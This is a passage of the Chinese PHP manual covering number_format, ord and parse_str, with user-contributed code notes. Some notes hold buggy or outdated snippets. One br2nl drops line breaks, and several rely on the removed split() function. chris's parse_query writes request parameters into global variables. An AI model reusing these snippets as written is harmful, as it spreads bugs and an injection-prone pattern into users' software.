$message =  nl2br(preg_replace('#(\\]{1})(\\s?)\\n#Usi', ']', stripslashes($message)));
?>
N/A 29-Oct-2008 07:41
Here's a more simple one:

<?php
/**
 * Convert BR tags to nl
 *
 * @param string The string to convert
 * @return string The converted string
 */
function br2nl($string)
{
    return preg_replace('/\<br(\s*)?\/?\>/i', "\n", $string);
}
?>

Enjoy
blacknine313 at gmail dot com 01-Apr-2008 06:34
After a recent post at the forums on Dev Shed, I noticed that it isn't mentioned, so I will mention it.

nl2br returns pure HTML, so it should be after PHP anti-HTML functions ( such as strip_tags and htmlspecialchars ).
hyponiq at gmail dot com 25-Aug-2007 11:03
On the contrary, <b>mark at dreamjunky.comno-spam</b>, this function is rightfully named.  Allow me to explain.  Although it does re-add the line break, it does so in an attempt to stay standards-compliant with the W3C recommendations for code format.

According to said recommendations, a new line character must follow a line break tag.  In this situation, the new line is not removed, but a break tag is added for proper browser display where a paragraph isn't necessary or wanted.
ngkongs at gmail dot com 23-Feb-2007 04:12
to replace all linebreaks to <br />
the best solution (IMO) is:

<?php
function nl2br2($string) {
$string = str_replace(array("\r\n", "\r", "\n"), "<br />", $string);
return $string;
}
?>

because each OS have different ASCII chars for linebreak:
windows = \r\n
unix = \n
mac = \r

works perfect for me
Anders Norrbring 09-Mar-2006 01:28
Seeing all these suggestions on a br2nl function, I can also see that neither would work with a sloppy written html line break.. Users can't be trusted to write good code, we know that, and mixing case isn't too uncommon.

I think this little snippet would do most tricks, both XHTML style and HTML, even mixed case like <Br> <bR /> and even <br            > or <br     />.

<?php
function br2nl($text)
{
    return  preg_replace('/<br\\s*?\/??>/i', '', $text);
}
?>
CGameProgrammer at gmail dot com 30-Jan-2005 05:28
It's important to remember that this function does NOT replace newlines with <br> tags. Rather, it inserts a <br> tag before each newline, but it still preserves the newlines themselves! This caused problems for me regarding a function I was writing -- I forgot the newlines were still being preserved.

If you don't want newlines, do:

<?php
$Result = str_replace( "\n", '<br />', $Text );
?>


以千位分隔符方式格式化一个数字

  • ? nl2br
  • ord ?
  • PHP Manual
  • 字符串 函数
  • 以千位分隔符方式格式化一个数字

number_format

(PHP 4, PHP 5, PHP 7, PHP 8)

number_format — 以千位分隔符方式格式化一个数字

说明

number_format(
float $num,
int $decimals = 0,
?string $decimal_separator = ".",
?string $thousands_separator = ","
): string

使用四舍五入的规则，将数字格式化为千位分组和小数位（可选）。

参数

num

要格式化的数字。

decimals

设置小数位数。如果为 0，则从返回值中忽略 decimal_separator。

decimal_separator

指定小数点的分隔符。

thousands_separator

设置千位分隔符。

返回值

num 的格式化版本。

更新日志

版本 | 说明
8.0.0 | 在此版本之前，number_format() 接受一个、两个或四个参数（不会是三个）。
7.2.0 | number_format() 现在再也不会返回 -0，之前 num 为 -0.01 的情况下可以返回 -0。

示例

Example #1 number_format() 示例

例如，法语计数通常使用两位小数，逗号（","）作为小数分隔符，空格（" "）作为千位分隔符。以下示例展示了格式化数字的各种方法：

<?php

$number = 1234.56;

// 英文计数（默认）
$english_format_number = number_format($number);
// 1,235

// 法语计数
$nombre_format_francais = number_format($number, 2, ',', ' ');
// 1 234,56

$number = 1234.5678;

// 没有千位分隔符的英文计数
$english_format_number = number_format($number, 2, '.', '');
// 1234.57

?>

参见

  • money_format() - 将数字格式化成货币字符串
  • sprintf() - 返回格式化字符串
  • printf() - 输出格式化字符串
  • sscanf() - 根据指定格式解析输入的字符

User Contributed Notes

Mad Max 20-Oct-2023 04:12
India (~18% of the world's population), Pakistan (~3%), Bangladesh (~2%), Nepal, and Myanmar, have a different way to display large numbers:

10,23,45,678.20

The first thousand is "normal" but then there is a comma every TWO digits after that.

Now look at the number_format() function.  Do you see a way to control the placement and frequency of the commas?  Or a mode option/switch to deal with displaying numbers for almost 1/4 of the total population on Earth?  Neither do I.

If you are developing an application for an international audience, the ICU-based Intl PHP extension might work fine for you.  However, IBM's ICU library is a resource heavy library (because...IBM), isn't the fastest library on the planet (also normal for IBM), ICU formatters are somewhat unreliable/inconsistent (yup, still IBM), and the Intl extension isn't always available in PHP (this one's PHP).  So there are many significant hurdles to overcome just to prepare a number for display using the Intl extension.

In short, approximately 23% of the planet currently can't use this function for displaying large numbers and there isn't a good built-in *lightweight* alternative other than to roll your own solution that outright replaces this function.  Formatting a number for display is an extremely common task.

Disclaimer:  This comment serves as a warning to others that this function isn't suitable for an international audience in its current state.  This comment is not a question, bug report, or feature request.  I'm simply commenting on the current state of affairs with this function.  If someone opts to make changes/improvements, then great, but that's not the purpose here.
support at piri dot sk 16-Apr-2023 12:18
My simpler solution to the problem of the decimal number in this function being longer than the specified number of decimals.

Standard result for number_format() is..
number_format(5.00098, 2) = 5.00

My function will return the result = 5.001

<?php

// ** Warning: Does not work with scientific notation. Conversion to a real number is required. **

echo auto_decimal_format(5.0005620); // print 5.0006
echo auto_decimal_format(5.0009820); // print 5.001
echo auto_decimal_format(5.00098, 8); // print 5.00098000
echo auto_decimal_format(1.0295691366783E-5, 2); // print 0.00

function auto_decimal_format($n, $def = 2) {
    $a = explode(".", $n);
    if (count($a)>1) {
        $b = str_split($a[1]);
        $pos = 1;
        foreach ($b as $value) {
            if ($value != 0 && $pos >= $def) {
                $c = number_format($n, $pos);
                $c_len = strlen(substr(strrchr($c, "."), 1));
                if ($c_len > $def) { return rtrim($c, 0); }
                return $c; // or break
            }
            $pos++;
        }
    }
    return number_format($n, $def);
}

?>
info at ensostudio dot ru 30-Dec-2021 08:28
Note: use NumberFormatter to convert in human-readable format instead  user function from comments:
<?php
echo NumberFormatter::create('en', NumberFormatter::SPELLOUT)->format(12309); // twelve thousand three hundred nine
echo NumberFormatter::create('ru', NumberFormatter::SPELLOUT)->format(12307.5); //  двенадцать тысяч триста семь целых пять десятых
?>
liviu andrei (bls) 18-Nov-2011 08:10
To prevent the rounding that occurs when next digit after last significant decimal is 5 (mentioned by several people below):

<?php
function fnumber_format($number, $decimals='', $sep1='', $sep2='') {

        if (($number * pow(10 , $decimals + 1) % 10 ) == 5)  //if next not significant digit is 5
            $number -= pow(10 , -($decimals+1));

        return number_format($number, $decimals, $sep1, $sep2);

}

$t=7.15;
echo $t . " | " . number_format($t, 1, '.', ',') .  " | " . fnumber_format($t, 1, '.', ',') . "\n\n";
//result is: 7.15 | 7.2 | 7.1

$t=7.3215;
echo $t . " | " . number_format($t, 3, '.', ',') .  " | " . fnumber_format($t, 3, '.', ',') . "\n\n";
//result is: 7.3215 | 7.322 | 7.321
} ?>

have fun!
james at bandit dot co.nz 26-Mar-2009 09:03
Outputs a human readable number.

<?php
    #    Output easy-to-read numbers
    #    by james at bandit.co.nz
    function bd_nice_number($n) {
        // first strip any formatting;
        $n = (0+str_replace(",","",$n));

        // is this a number?
        if(!is_numeric($n)) return false;

        // now filter it;
        if($n>1000000000000) return round(($n/1000000000000),1).' trillion';
        else if($n>1000000000) return round(($n/1000000000),1).' billion';
        else if($n>1000000) return round(($n/1000000),1).' million';
        else if($n>1000) return round(($n/1000),1).' thousand';

        return number_format($n);
    }
?>

Outputs:

247,704,360 -> 247.7 million
866,965,260,000 -> 867 billion
thomas at weblizards dot de 23-Jan-2009 05:43
It's not explicitly documented; number_format also rounds:

<?php
$numbers = array(0.001, 0.002, 0.003, 0.004, 0.005, 0.006, 0.007, 0.008, 0.009);
foreach ($numbers as $number)
    print $number."->".number_format($number, 2, '.', ',')."<br>";
?>

0.001->0.00
0.002->0.00
0.003->0.00
0.004->0.00
0.005->0.01
0.006->0.01
0.007->0.01
0.008->0.01
0.009->0.01
MarcM 20-Feb-2006 10:03
For Zero fill - just use the sprintf() function

$pr_id = 1;
$pr_id = sprintf("%03d", $pr_id);
echo $pr_id;

//outputs 001
-----------------

$pr_id = 10;
$pr_id = sprintf("%03d", $pr_id);
echo $pr_id;

//outputs 010
-----------------

You can change %03d to %04d, etc.
Jeroen de Bruijn [NL] 01-Oct-2005 03:02
If you want to display a number ending with ,- (like 200,-) when there are no decimal characters and display the decimals when there are decimal characters i use:

function DisplayDouble($value)
  {
  list($whole, $decimals) = split ('[.,]', $value, 2);
  if (intval($decimals) > 0)
    return number_format($value,2,".",",");
  else
    return number_format($value,0,".",",") .",-";
  }
stm555 at hotmail dot com 27-Apr-2005 08:54
I ran across an issue where I wanted to keep the entered precision of a real value, without arbitrarily rounding off what the user had submitted.

I figured it out with a quick explode on the number before formatting. I could then format either side of the decimal.

<?php
      function number_format_unlimited_precision($number,$decimal = '.')
      {
           $broken_number = explode($decimal,$number);
           return number_format($broken_number[0]).$decimal.$broken_number[1];
      }
?>
Theo Diem 24-Mar-2003 01:45
formatting numbers may be more easy if u use number_format function.

I also wrote this :
function something($number)
{
    $locale = localeconv();
    return number_format($number,
       $locale['frac_digits'],
        $locale['decimal_point'],
        $locale['thousands_sep']);
}

hope this helps =)
[]'s


转换字符串第一个字节为 0-255 之间的值

  • ? number_format
  • parse_str ?
  • PHP Manual
  • 字符串 函数
  • 转换字符串第一个字节为 0-255 之间的值

ord

(PHP 4, PHP 5, PHP 7, PHP 8)

ord — 转换字符串第一个字节为 0-255 之间的值

说明

ord(string $character): int

解析 character 二进制值第一个字节为 0 到 255 范围的无符号整型类型。

如果字符串是 ASCII、 ISO-8859、Windows 1252之类单字节编码，就等于返回该字符在字符集编码表中的位置。 但请注意，本函数不会去检测字符串的编码，尤其是不会识别类似 UTF-8 或 UTF-16 这种多字节字符的 Unicode 代码点（code point）。

该函数是 chr() 的互补函数。

参数

character

一个字符。

返回值

返回 0 - 255 的整型值。

示例

Example #1 ord() 示例

<?php
$str = "\n";
if (ord($str) == 10) {
echo "The first character of \$str is a line feed.\n";
}
?>

Example #2 检查 UTF-8 字符串的每一个字节

<?php
declare(encoding='UTF-8');
$str = "??";
for ( $pos=0; $pos < strlen($str); $pos ++ ) {
$byte = substr($str, $pos);
echo 'Byte ' . $pos . ' of $str has value ' . ord($byte) . PHP_EOL;
}
?>

以上示例会输出：

Byte 0 of $str has value 240
Byte 1 of $str has value 159
Byte 2 of $str has value 144
Byte 3 of $str has value 152

参见

  • chr() - 从数字生成单字节字符串
  • » ASCII 码表
  • mb_ord() - 获取字符的 Unicode 码位值
  • IntlChar::ord() - Return Unicode code point value of character

User Contributed Notes

Noname 22-Jan-2022 03:51
<?php

declare (encoding='UTF-8');

$animalsstr = '????????????????????????????????????????????????????'
        . '????????????????????????????????????????????????????????'
        . '????????????????????';

$animals = mb_str_split($animalsstr);
foreach ($animals as $animal) {
    for ($pos = 0; $pos < strlen($animal); $pos++) {
        $byte = substr($animal, $pos);
        echo "Byte $pos of $animal has value " . ord($byte) . PHP_EOL;
    }
}

?>
Anonymous 22-Jul-2021 06:40
For anyone who's looking to convert full strings to map and back it's pretty simple but takes some getting used to...the code below saves an hour of scrounging codes for beginners like myself.

function var2map($a) {
    $b='';
    $c=strlen($a);
    for($i=0; $i<$c; ++$i) {
        $d=ord(substr($a,$i,1));
        if($d<10) {
            $e='00'.$d;
        } else {
            if($d<100) {
                $e='0'.$d;
            } else {
                $e=$d;
            }
        }
        if($b=='') {
            $b=$e;
        } else {
            $b=$b.$e;
        }
    }
    return $b;
}

function map2var($a) {
    $b='';
    $c=strlen($a) / 3;
    for($i=0; $i<$c; ++$i) {
        $d=chr(substr($a,$i*3,3));
        if($b=='') {
            $b=$d;
        } else {
            $b=$b.$d;
        }
    }
    return $b;
}
paco at olecode dot com 24-Feb-2020 02:46
this function convert UTF-8 string to RTF code string. I am using code of v0rbiz at yahoo dot com, thanks!!!

function cadena_rtf($txt)
   {
      $result = null;

      for ($pos = 0; $pos < mb_strlen($txt); $pos++) {

         $char = mb_substr($txt, $pos, 1);

         if (!preg_match("/[A-Za-z1-9,.]/", $char)) {
            //unicode ord real!!!
            $k   = mb_convert_encoding($char, 'UCS-2LE', 'UTF-8');
            $k1  = ord(substr($k, 0, 1));
            $k2  = ord(substr($k, 1, 1));
            $ord = $k2 * 256 + $k1;

            if ($ord > 255) {
               $result .= '\uc1\u' . $ord . '*';
            } elseif ($ord > 32768) {
               $result .= '\uc1\u' . ($ord - 65535) . '*';
            } else {
               $result .= "\\'" . dechex($ord);
            }
         } else {
            $result .= $char;
         }
      }
      return $result;
   }
rowan dot collins at cwtdigital dot com 11-Jun-2013 06:28
Regarding character sets, and whether or not this is "ASCII". Firstly, there is no such thing as "8-bit ASCII", so if it were ASCII it would only ever return integers up to 127. 8-bit ASCII-compatible encodings include the ISO 8859 family of encodings, which map various common characters to the values from 128 to 255. UTF-8 is also designed so that characters representable in 7-bit ASCII are coded the same; byte values higher than 127 in a UTF-8 string represent the beginning of a multi-byte character.

In fact, like most of PHP's string functions, this function isn't doing anything to do with character encoding at all - it is just interpreting a binary byte from a string as an unsigned integer. That is, ord(chr(200)) will always return 200, but what character chr(200) *means* will vary depending on what character encoding it is *interpreted* as part of (e.g. during display).

A technically correct description would be "Returns an integer representation of the first byte of a string, from 0 to 255. For single-byte encodings such as (7-bit) ASCII and the ISO 8859 family, this will correspond to the first character, and will be the position of that character in the encoding's mapping table. For multi-byte encodings, such as UTF-8 or UTF-16, the byte may not represent a complete character."

The link to asciitable.com should also be replaced by one which explains what character encoding it is displaying, as "Extended ASCII" is an ambiguous and misleading name.
arglanir+phpnet at gmail dot com 23-Aug-2012 03:06
As ord() doesn't work with utf-8, and if you do not have access to mb_* functions, the following function will work well:
<?php
function ordutf8($string, &$offset) {
    $code = ord(substr($string, $offset,1));
    if ($code >= 128) {        //otherwise 0xxxxxxx
        if ($code < 224) $bytesnumber = 2;                //110xxxxx
        else if ($code < 240) $bytesnumber = 3;        //1110xxxx
        else if ($code < 248) $bytesnumber = 4;    //11110xxx
        $codetemp = $code - 192 - ($bytesnumber > 2 ? 32 : 0) - ($bytesnumber > 3 ? 16 : 0);
        for ($i = 2; $i <= $bytesnumber; $i++) {
            $offset ++;
            $code2 = ord(substr($string, $offset, 1)) - 128;        //10xxxxxx
            $codetemp = $codetemp*64 + $code2;
        }
        $code = $codetemp;
    }
    $offset += 1;
    if ($offset >= strlen($string)) $offset = -1;
    return $code;
}
?>
$offset is a reference, as it is not easy to split a utf-8 char-by-char. Useful to iterate on a string:
<?php
$text = "abcàê?�abc";
$offset = 0;
while ($offset >= 0) {
    echo $offset.": ".ordutf8($text, $offset)."\n";
}
/* returns:
0: 97
1: 98
2: 99
3: 224
5: 234
7: 223
9: 8364
12: 97
13: 98
14: 99
*/
?>
Feel free to adapt my code to fit your needs.
v0rbiz at yahoo dot com 28-May-2004 04:15
I did not found a unicode/multibyte capable 'ord' function, so...

<?php
function uniord($u) {
    $k = mb_convert_encoding($u, 'UCS-2LE', 'UTF-8');
    $k1 = ord(substr($k, 0, 1));
    $k2 = ord(substr($k, 1, 1));
    return $k2 * 256 + $k1;
}
?>


将字符串解析成多个变量

  • ? ord
  • print ?
  • PHP Manual
  • 字符串 函数
  • 将字符串解析成多个变量

parse_str

(PHP 4, PHP 5, PHP 7, PHP 8)

parse_str — 将字符串解析成多个变量

说明

parse_str(string $string, array &$result): void

如果 string 是 URL 传递入的查询字符串（query string），则将它解析为变量并设置到当前作用域（如果提供了 result 则会设置到该数组里 ）。

参数

string

输入的字符串。

result

如果设置了第二个变量 result， 变量将会以数组元素的形式存入到这个数组，作为替代。

Warning

极度不建议在没有 result 参数的情况下使用此函数， 并且在 PHP 7.2 中将废弃不设置参数的行为。PHP 8.0.0 起，result 参数是强制的。

返回值

没有返回值。

更新日志

版本 | 说明
8.0.0 | result 是必须项。
7.2.0 | 不带第二个参数的情况下使用 parse_str() 会产生 E_DEPRECATED 警告。

示例

Example #1 parse_str() 的使用

<?php
$str = "first=value&arr[]=foo+bar&arr[]=baz";

// 推荐用法
parse_str($str, $output);
echo $output['first']; // value
echo $output['arr'][0]; // foo bar
echo $output['arr'][1]; // baz

// 不建议这么用
parse_str($str);
echo $first; // value
echo $arr[0]; // foo bar
echo $arr[1]; // baz
?>

由于 PHP 的变量名不能带「点」和「空格」，所以它们会被转化成下划线。 用本函数带 result 参数，也会应用同样规则到数组的键名。

Example #2 parse_str() 名称改写

<?php
parse_str("My Value=Something");
echo $My_Value; // Something

parse_str("My Value=Something", $output);
echo $output['My_Value']; // Something
?>

注释

Note:

所有创建的变量(或者在设置第二个参数的情况下，返回数组里的值)， 都已经 urldecode() 了。

Note:

要获取当前的 QUERY_STRING，可以使用 $_SERVER['QUERY_STRING'] 变量。 所以你可能想要阅读 来自 PHP 之外的变量这个章节。

参见

  • parse_url() - 解析 URL，返回其组成部分
  • pathinfo() - 返回文件路径的信息
  • http_build_query() - 生成 URL-encode 之后的请求字符串
  • urldecode() - 解码已编码的 URL 字符串

User Contributed Notes

Roemer Lievaart 21-Jan-2022 09:20
If you need the key names preserved and don't want spaces or . or unmatched [ or ] replaced by an underscore, yet you want all the other goodies of parse_str(), like turning matched [] into array elements, you can use this code as a base for that.

<?php
const periodPlaceholder = 'QQleQPunT';
const spacePlaceholder = 'QQleQSpaTIE';

function parse_str_clean($querystr): array {
    // without the converting of spaces and dots etc to underscores.
    $qquerystr = str_ireplace(['.','%2E','+',' ','%20'], [periodPlaceholder,periodPlaceholder,spacePlaceholder,spacePlaceholder,spacePlaceholder], $querystr);
    $arr = null ; parse_str($qquerystr, $arr);

    sanitizeKeys($arr, $querystr);
    return $arr;
}

function sanitizeKeys(&$arr, $querystr) {
    foreach($arr as $key=>$val) {
        // restore values to original
        $newval = $val ;
        if ( is_string($val)) {
            $newval = str_replace([periodPlaceholder,spacePlaceholder], ["."," "], $val);
        }

        $newkey = str_replace([periodPlaceholder,spacePlaceholder], ["."," "], $key);

        if ( str_contains($newkey, '_') ) {

            // periode of space or [ or ] converted to _. Restore with querystring
            $regex = '/&('.str_replace('_', '[ \.\[\]]', preg_quote($newkey, '/')).')=/';
            $matches = null ;
            if ( preg_match_all($regex, "&".urldecode($querystr), $matches) ) {

                if ( count(array_unique($matches[1])) === 1 && $key != $matches[1][0] ) {
                    $newkey = $matches[1][0] ;
                }
            }
        }
        if ( $newkey != $key ) {
            unset($arr[$key]);
            $arr[$newkey] = $newval ;
        } elseif( $val != $newval )
            $arr[$key] = $newval;

        if ( is_array($val)) {
            sanitizeKeys($arr[$newkey], $querystr);
        }
    }
}

?>

For example:

parse_str_clean("code.1=printr%28hahaha&code 1=448044&test.mijn%5B%5D%5B2%5D=test%20Roemer&test%5Bmijn=test%202e%20Roemer");

Produces:

array(4) {
  ["code.1"]=>
  string(13) "printr(hahaha"
  ["code 1"]=>
  string(6) "448044"
  ["test.mijn"]=>
  array(1) {
    [0]=>
    array(1) {
      [2]=>
      string(11) "test Roemer"
    }
  }
  ["test[mijn"]=>
  string(14) "test 2e Roemer"
}

Whereas if you feed the same querystring to parse_str, you will get

array(2) {
  ["code_1"]=>
  string(6) "448044"
  ["test_mijn"]=>
  string(14) "test 2e Roemer"
}
kawewong at gmail dot com 11-Jun-2021 09:11
Warning: `parse_str()` can cause "Input variables exceeded 1000" error (1000 is default php.ini setting for `max_input_vars`).

Test code.

<?php

$inputString = 'first=firstvalue';

for ($i = 1; $i <= 1100; $i++) {
    $inputString .= '&arrLoopNumber[]=' . $i;
}
unset($i);

echo 'input string: <code>' . $inputString . '</code><br>' . PHP_EOL;
echo '<h5>doing <code>parse_str()</code></h5>' . PHP_EOL;

$output = [];
parse_str($inputString, $output);
// errors!!
?>
twiddly 21-Jan-2018 10:54
proper_parse_str works great and I like that it doesn't replace spaces with underbars, but should urldecode $value
alxcube at gmail dot com 18-Jun-2016 06:50
if you need custom arg separator, you can use this function. it returns parsed  query as associative array.

<?php

/**
 * Parses http query string into an array
 *
 * @author Alxcube <alxcube@gmail.com>
 *
 * @param string $queryString String to parse
 * @param string $argSeparator Query arguments separator
 * @param integer $decType Decoding type
 * @return array
 */
function http_parse_query($queryString, $argSeparator = '&', $decType = PHP_QUERY_RFC1738) {
        $result             = array();
        $parts              = explode($argSeparator, $queryString);

        foreach ($parts as $part) {
                list($paramName, $paramValue)   = explode('=', $part, 2);

                switch ($decType) {
                        case PHP_QUERY_RFC3986:
                                $paramName      = rawurldecode($paramName);
                                $paramValue     = rawurldecode($paramValue);
                                break;

                        case PHP_QUERY_RFC1738:
                        default:
                                $paramName      = urldecode($paramName);
                                $paramValue     = urldecode($paramValue);
                                break;
                }

                if (preg_match_all('/\[([^\]]*)\]/m', $paramName, $matches)) {
                        $paramName      = substr($paramName, 0, strpos($paramName, '['));
                        $keys           = array_merge(array($paramName), $matches[1]);
                } else {
                        $keys           = array($paramName);
                }

                $target         = &$result;

                foreach ($keys as $index) {
                        if ($index === '') {
                                if (isset($target)) {
                                        if (is_array($target)) {
                                                $intKeys        = array_filter(array_keys($target), 'is_int');
                                                $index  = count($intKeys) ? max($intKeys)+1 : 0;
                                        } else {
                                                $target = array($target);
                                                $index  = 1;
                                        }
                                } else {
                                        $target         = array();
                                        $index          = 0;
                                }
                        } elseif (isset($target[$index]) && !is_array($target[$index])) {
                                $target[$index] = array($target[$index]);
                        }

                        $target         = &$target[$index];
                }

                if (is_array($target)) {
                        $target[]   = $paramValue;
                } else {
                        $target     = $paramValue;
                }
        }

        return $result;
}

?>
StanE 17-Sep-2015 09:57
Note that the characters "." and " " (empty space) will be converted to "_". The characters "[" and "]" have special meaning: They represent arrays but there seems to be some weird behaviour, which I don't really understand:

<?php
// Note: "[" = %5B, "]" = %5D

/*
"v][=a" produces ("[" gets replaced by "_"):
Array
(
    [v]_] => a
)
*/
parse_str("v%5D%5B=a", $r);
print_r($r);

/*
"v][[=a" produces (first "[" gets replaced by "_", but not all following):
Array
(
    [v]_[] => a
)
*/
parse_str("v%5D%5B%5B=a", $r);
print_r($r);

?>
zweibieren at yahoo dot com 27-Apr-2015 03:18
If the arr argument is provided, all its existing elements are removed.
markc 30-Jun-2013 04:43
Beware using parse_str in a function that has vars passed by reference. It seems that parse_str actually creates new vars even if vars of the same name exist. If you pass by ref vars of the same name as those in a query string being parsed new LOCAL vers will be created and you won't get any values passed back to the caller (relates to what Maikel mentioned below)

An unrealistic example (vaguely related to what I was doing when I found this out)...

function get_title($query,&$title)
{
  parse_str($query);
  $title=str_replace("_"," ",$title);
}

$title="foo";
$query = "context=something&title=Title_of_Something";
get_title($query,$title);

echo $title .... "foo"
jrgns at jadeit dot co dot za 27-Jun-2012 08:57
The array to be populated does not need to be defined before calling the function:

<?php
error_reporting(E_ALL | E_STRICT);
parse_str('var=value', $array);
?>

This will not produce a notice.
shagshag 14-May-2012 05:51
That's not says in the description but max_input_vars directive affects this function. If there are more input variables on the string than specified by this directive, an E_WARNING is issued, and further input variables are truncated from the request.
Benjamin Garcia 26-Apr-2012 09:18
function like parse_str, but doesn't convert spaces and dots to underscores in $_GET AND $_POST

/**
 * GET and POST input containing dots, etc.
 */
function getRealREQUEST() {
    $vars = array();

    $input    = $_SERVER['REDIRECT_QUERY_STRING'];
    if(!empty($input)){
        $pairs    = explode("&", $input);
        foreach ($pairs     as $pair) {
            $nv                = explode("=", $pair);

            $name            = urldecode($nv[0]);
            $nameSanitize    = preg_replace('/([^\[]*)\[.*$/','$1',$name);

            $nameMatched    = str_replace('.','_',$nameSanitize);
            $nameMatched    = str_replace(' ','_',$nameMatched);

            $vars[$nameSanitize]    = $_REQUEST[$nameMatched];
        }
    }

    $input    = file_get_contents("php://input");
    if(!empty($input)){
        $pairs    = explode("&", $input);
        foreach ($pairs as $pair) {
            $nv                = explode("=", $pair);

            $name            = urldecode($nv[0]);
            $nameSanitize    = preg_replace('/([^\[]*)\[.*$/','$1',$name);

            $nameMatched    = str_replace('.','_',$nameSanitize);
            $nameMatched    = str_replace(' ','_',$nameMatched);

            $vars[$nameSanitize]    = $_REQUEST[$nameMatched];
        }
    }

    return $vars;
}
Will Voelcker 12-Aug-2010 11:07
If you need a function that does something similar to parse_str, but doesn't convert spaces and dots to underscores, try something like the following:

<?php
function parseQueryString($str) {
    $op = array();
    $pairs = explode("&", $str);
    foreach ($pairs as $pair) {
        list($k, $v) = array_map("urldecode", explode("=", $pair));
        $op[$k] = $v;
    }
    return $op;
}
?>

It may need adapting to handle various edge cases.
tobsn at php dot net 01-Jul-2008 11:17
just a heads up with the example above:
?var[]=123 - the [] has to be urlencoded.
var names and var values - both have to be urlencoded!
helpmepro1 at gmail dot com 28-Apr-2008 09:09
<?
//by shimon doodkin

 $url_form=url_to_form($url);
 echo '<form action="'.$url_form['action'].'" method="get">';
 echo $url_form['hidden'];
 echo '<input name="otherfiled" type="text">';
 echo '<input type="submit">';
 echo '</form>';

 function url_to_form($url)
 {
  $url=split('\?',$url,2);
  $action=$url[0];
  $hidden="";
  if(isset($url[1]))
  {
   $pairs=split('&',$url[1]);
   foreach($pairs as $pair)
   {
    $pair=split('=',$pair,2);
    $name=$pair[0];
    if(isset($pair[1]))
     $value=$pair[1];
    else
     $value='';
    $name=$name;
    $value=htmlspecialchars($value);
    if($name!='')
     $hidden.='<hidden name="'.$name.'" value="'.$value.'">';
   }
  }
  return array('action'=>$action,'hidden'=>$hidden);
 }

?>
chris at mcfadyen dot ca 13-Nov-2007 04:02
I shouldn't've posted the original version, as it only worked with the most basic of query strings.

This function will parse an html-safe query-like url string for variables and php-like ordered and associative arrays.  It places them into the global scope as parse_str does and adds minimal slashes for database insertions without the triple-slash problems that magic quotes can produce (the reason I had to write it in the first place).  If you don't need the slashes, they're easy enough to remove.

<?php
function parse_query($str) {

    // Separate all name-value pairs
    $pairs = explode('&', $str);

    foreach($pairs as $pair) {

        // Pull out the names and the values
        list($name, $value) = explode('=', $pair, 2);

        // Decode the variable name and look for arrays
        list($name, $index) = split('[][]', urldecode($name));

        // Arrays
        if(isset($index)) {

            // Declare or add to the global array defined by $name
            global $$name;
            if(!isset($$name)) $$name = array();

            // Associative array
            if($index != "") {
                ${$name}[$index] = addslashes(urldecode($value));

            // Ordered array
            } else {
                array_push($$name, addslashes(urldecode($value)));
            }

        // Variables
        } else {

            // Declare or overwrite the global variable defined by $name
            global $$name;
            $$name = addslashes(urldecode($value));
        }
    }
}
?>
chris at mcfadyen dot ca 31-Oct-2007 08:48
If you wish a version of parse_str sans magic quotes, the following will do the trick:

<?php
function parse_query($str) {
    $pairs = explode('&', $str);

    foreach($pairs as $pair) {
        list($name, $value) = explode('=', $pair, 2);
        global $$name;
        $$name = $value;
    }
}
?>
Evan K 30-Jul-2007 07:43
It bears mentioning that the parse_str builtin does NOT process a query string in the CGI standard way, when it comes to duplicate fields.  If multiple fields of the same name exist in a query string, every other web processing language would read them into an array, but PHP silently overwrites them:

<?php
# silently fails to handle multiple values
parse_str('foo=1&foo=2&foo=3');

# the above produces:
$foo = array('foo' => '3');
?>

Instead, PHP uses a non-standards compliant practice of including brackets in fieldnames to achieve the same effect.

<?php
# bizarre php-specific behavior
parse_str('foo[]=1&foo[]=2&foo[]=3');

# the above produces:
$foo = array('foo' => array('1', '2', '3') );
?>

This can be confusing for anyone who's used to the CGI standard, so keep it in mind.  As an alternative, I use a "proper" querystring parser function:

<?php
function proper_parse_str($str) {
  # result array
  $arr = array();

  # split on outer delimiter
  $pairs = explode('&', $str);

  # loop through each pair
  foreach ($pairs as $i) {
    # split into name and value
    list($name,$value) = explode('=', $i, 2);

    # if name already exists
    if( isset($arr[$name]) ) {
      # stick multiple values into an array
      if( is_array($arr[$name]) ) {
        $arr[$name][] = $value;
      }
      else {
        $arr[$name] = array($arr[$name], $value);
      }
    }
    # otherwise, simply stick it in a scalar
    else {
      $arr[$name] = $value;
    }
  }

  # return result array
  return $arr;
}

$query = proper_parse_str($_SERVER['QUERY_STRING']);
?>
Vladimir Kornea 17-Jul-2007 09:04
parse_str() is confused by ampersands (&) being encoded as HTML entities (&amp;). This is relevant if you're extracting your query string from an HTML page (scraping). The solution is to run the string through html_entity_decode() before running it through parse_str().

(Editors: my original comment was a caution whose solution is obvious, but it has resulted in three replies ("so what?" "as intended" and "this is how to fix it"). Please remove the previous four posts dealing with this (69529, 70234, 72745, 74818) and leave just the above summary. This issue is too trivial to warrant the number of comments it has received.)
mike dot coley at inbox dot com 02-Jun-2007 12:25
Here is a little function that does the opposite of the parse_str function. It will take an array and build a query string from it.

<?php

/* Converts an array of parameters into a query string to be appended to a URL.
 *
 * @return  string              : Query string to append to a URL.
 * @param   array    $array     : Array of parameters to append to the query string.
 * @param   string   $parent    : This should be left blank (it is used internally by the function).
 */
function append_params($array, $parent='')
{
    $params = array();
    foreach ($array as $k => $v)
    {
        if (is_array($v))
            $params[] = append_params($v, (empty($parent) ? urlencode($k) : $parent . '[' . urlencode($k) . ']'));
        else
            $params[] = (!empty($parent) ? $parent . '[' . urlencode($k) . ']' : urlencode($k)) . '=' . urlencode($v);
    }

    $sessid = session_id();
    if (!empty($parent) || empty($sessid))
        return implode('&', $params);

    // Append the session ID to the query string if we have to.
    $sessname = session_name();
    if (ini_get('session.use_cookies'))
    {
        if (!ini_get('session.use_only_cookies') && (!isset($_COOKIE[$sessname]) || ($_COOKIE[$sessname] != $sessid)))
            $params[] = $sessname . '=' . urlencode($sessid);
    }
    elseif (!ini_get('session.use_only_cookies'))
        $params[] = $sessname . '=' . urlencode($sessid);

    return implode('&', $params);
}

?>

Note that the function will also append the session ID to the query string if it needs to be.
Michal Zalewski 28-Apr-2007 11:27
Vladimir Kornea:
Try use html_entity_decode()

$str = 'first=value&amp;arr[]=foo+bar&amp;arr[]=baz';
parse_str(html_entity_decode($str), $output);
print_r($output);

Array
(
    [first] => value
    [arr] => Array
        (
            [0] => foo bar
            [1] => baz
        )

)
php at voodoolabs dot net 07-Mar-2007 12:32
This is probably a better solution than below. The first line makes sure the file doesn't exist then the second line directs all requests to a script. No need to output a 200 header with this method either.

RewriteEngine On

RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^ index.php      [L]
